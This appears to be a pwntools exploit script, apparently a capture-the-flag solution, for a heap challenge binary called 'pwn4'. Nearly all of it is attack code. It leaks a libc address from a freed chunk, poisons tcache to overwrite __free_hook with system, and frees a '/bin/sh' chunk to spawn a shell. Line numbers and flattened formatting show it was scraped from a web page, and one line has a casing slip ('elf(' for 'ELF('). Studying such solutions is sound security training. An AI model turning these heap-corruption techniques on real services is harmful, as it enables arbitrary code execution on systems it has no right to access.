1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * io=process('./pwn4') elf=ELF('./pwn4') libc=elf('./libc-2.31.so') context.log_level='debug'
def add(index,name,key,value): io.sendlineafter('Your choice: ','1') io.sendlineafter('Your index: ',str(index)) io.sendlineafter('Enter your name: ',name) io.sendlineafter('Please input a key: ',key) io.sendlineafter('Please input a value: ',str(value)) def show(index): io.sendlineafter('Your choice: ','2') io.sendlineafter('Your index: ',str(index))
def edit(index,name,length,key,value): io.sendlineafter('Your choice: ','3') io.sendlineafter('Your index: ',str(index)) io.sendlineafter('Enter your name: ',name) io.sendlineafter('New key length: ',str(length)) io.sendlineafter('Key: ',key) io.sendlineafter('Value: ',str(value)) def dele(index): io.sendlineafter('Your choice: ','4') io.sendlineafter('Your index: ',str(index)) def exp(): add(0,'f1ag','a'*0x417,0) add(1,'f1ag','a'*0x3c7,1) dele(0) show(0) malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 -16 libc_base = malloc_hook - libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) free_hook = libc.symbols['__free_hook'] + libc_base system = libc.symbols['system'] + libc_base add(2,'f1ag','a'*0x57,2) add(3,'f1ag','a'*0x57,3) dele(3) dele(2) #gdb.attach(io) edit(1,'f1ag',8,'/bin/sh\x00',1) edit(2,'f1ag',6,p32((free_hook-0x51)&0xffffffff)+p16(((free_hook)>>32)&0xffff),2) add(4,'f1ag','a'*0x51+p32((system)&0xffffffff)+p16(((system)>>32)&0xffff),'4') #add(6,'f1ag',p64(system),5) dele(1) io.interactive() exp()
|